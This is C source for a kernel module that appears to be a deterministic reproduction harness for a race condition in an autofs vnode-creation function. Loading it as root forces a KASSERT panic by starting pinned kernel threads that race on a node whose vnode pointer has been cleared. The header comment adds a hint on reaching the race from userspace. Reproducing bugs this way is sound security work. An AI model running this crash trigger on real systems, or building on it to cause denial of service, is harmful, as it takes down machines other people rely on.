/*
 * DF-0886 — deterministic kernel-module harness for the autofs_node_vn
 *           create race ("lost race" KASSERT panic).
 *
 * The bug (sys/vfs/autofs/autofs_vnops.c:564-602): autofs_node_vn()
 * drops an_vnode_lock (line 589) BEFORE sleeping in getnewvnode() (591)
 * and assigns anp->an_vnode = vp (598) WITHOUT re-taking the lock.
 * The KASSERT at 597 catches the lost race.  Two threads that both
 * observe an_vnode == NULL and both enter getnewvnode() will trip it.
 *
 * This module is a deterministic harness: it finds the mounted autofs
 * filesystem, NULLs the root node's an_vnode (simulating a reclaim, as
 * autofs_vnops.c:426 does), then spawns N kthreads that all call the
 * REAL autofs_node_vn() on the same node simultaneously.  Because
 * getnewvnode() takes at least several microseconds, overlapping calls
 * guarantee the race fires.  With INVARIANTS (default GENERIC), the
 * loser panics:
 *
 *     panic: Lost LK_INIT assertion mp == ... (?)  [or]
 *     panic: lost race
 *     Stopped at autofs_node_vn+0xNN
 *
 * Module-only characterization note: this harness requires root to
 * kldload.  The bug IS reachable from userspace (autofs_nresolve is a
 * VOP called on stat()/lookup, which any user can issue on a path under
 * the autofs mountpoint), but the race window is one getnewvnode() call
 * (~us), so a probabilistic userspace stress needs either vnode-table
 * pressure to widen it or extreme luck.  This module proves the race
 * in the actual autofs code path deterministically.
 *
 * Usage (as root, with autofs already mounted):
 *     kldload ./df0886_race.ko
 *     # -> panic "lost race" in autofs_node_vn
 *
 * Build:
 *     make  (uses the in-guest /usr/src tree + Makefile below)
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/vnode.h>
#include <sys/mutex2.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/types.h>
#include <sys/queue.h>

/* Pull in the autofs structures + prototypes (links against autofs.ko). */
#include <vfs/autofs/autofs.h>

extern struct mntlist mountlist;

#define NRACERS  4

static struct mount     *g_mp  = NULL;
static struct autofs_node *g_anp = NULL;
static volatile int      g_go   = 0;
static volatile int      g_ndone = 0;

/*
 * Racer kthread: spin until the go flag, then call the REAL
 * autofs_node_vn() on the shared node.  Both threads entering
 * getnewvnode() with an_vnode == NULL trips the KASSERT.
 *
 * Each racer is pinned to a DIFFERENT CPU (kthread_create_cpu) so they
 * truly run concurrently — spin-waiting (no lwkt_sleep) keeps each CPU
 * busy so all racers pass the g_go check and enter autofs_node_vn()
 * within nanoseconds of each other.
 */
static void
racer_thread(void *arg)
{
	struct vnode *vp = NULL;
	int error;
	int id = (int)(intptr_t)arg;

	/* Hard spin-wait for simultaneous start (keeps the CPU hot). */
	while (g_go == 0)
		cpu_ccfence();

	error = autofs_node_vn(g_anp, g_mp, LK_EXCLUSIVE, &vp);

	/* Only the winner reaches here; the loser panicked at KASSERT(597). */
	kprintf("DF-0886 racer[%d]: autofs_node_vn rc=%d vp=%p\n",
	    id, error, vp);
	if (error == 0) {
		vn_unlock(vp);
		vrele(vp);
	}

	atomic_add_int(&g_ndone, 1);
	wakeup(&g_ndone);
	kthread_exit();
}

static int
df0886_load(struct module *m, int what, void *arg)
{
	struct mount *mp;
	struct autofs_mount *amp;
	struct autofs_node *anp;
	struct thread *tds[NRACERS];
	int i, error;

	switch (what) {
	case MOD_LOAD:
		kprintf("DF-0886: harness loaded, scanning for autofs mount...\n");

		/* Find the first mounted autofs filesystem. */
		TAILQ_FOREACH(mp, &mountlist, mnt_list) {
			if (strncmp(mp->mnt_stat.f_fstypename, "autofs",
			    MFSNAMELEN) == 0)
				break;
		}
		if (mp == NULL) {
			kprintf("DF-0886: ERROR: no autofs mount found; "
			    "run mount_autofs first.\n");
			return (ENODEV);
		}

		amp = VFSTOAUTOFS(mp);
		anp = amp->am_root;
		kprintf("DF-0886: autofs mp=%p amp=%p root anp=%p an_vnode=%p\n",
		    mp, amp, anp, anp->an_vnode);

		/*
		 * Simulate a vnode reclaim (autofs_vnops.c:425-428): NULL
		 * an_vnode under the lock so both racers see NULL.
		 */
		mtx_lock_ex_quick(&anp->an_vnode_lock);
		if (anp->an_vnode != NULL) {
			kprintf("DF-0886: nulling existing an_vnode=%p "
			    "(simulating reclaim)\n", anp->an_vnode);
			anp->an_vnode = NULL;
		}
		mtx_unlock_ex(&anp->an_vnode_lock);

		g_mp  = mp;
		g_anp = anp;
		g_go  = 0;
		g_ndone = 0;

		/* Spawn racers on different CPUs so they truly run concurrent. */
		for (i = 0; i < NRACERS; i++) {
			error = kthread_create_cpu(racer_thread,
			    (void *)(intptr_t)i, &tds[i], i,
			    "df0886_racer_%d", i);
			if (error) {
				kprintf("DF-0886: kthread_create %d failed: %d\n",
				    i, error);
				return (error);
			}
		}

		/* Brief pause so all racers are spinning on g_go. */
		DELAY(100000);	/* 100 ms */

		/* Let them loose simultaneously. */
		kprintf("DF-0886: releasing %d racers -- expect panic\n", NRACERS);
		g_go = 1;
		wakeup(&g_go);

		/* If we survive (no INVARIANTS), wait for racers. */
		while (g_ndone < NRACERS)
			tsleep(&g_ndone, 0, "dfrace_done", hz);

		kprintf("DF-0886: all racers done (no panic -- "
		    "INVARIANTS probably OFF?).\n");
		return (0);

	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df0886_mod = {
	"df0886_race",
	df0886_load,
	NULL
};

DECLARE_MODULE(df0886_race, df0886_mod, SI_SUB_PSEUDO, SI_ORDER_ANY);
MODULE_DEPEND(df0886_race, autofs, 1, 1, 1);
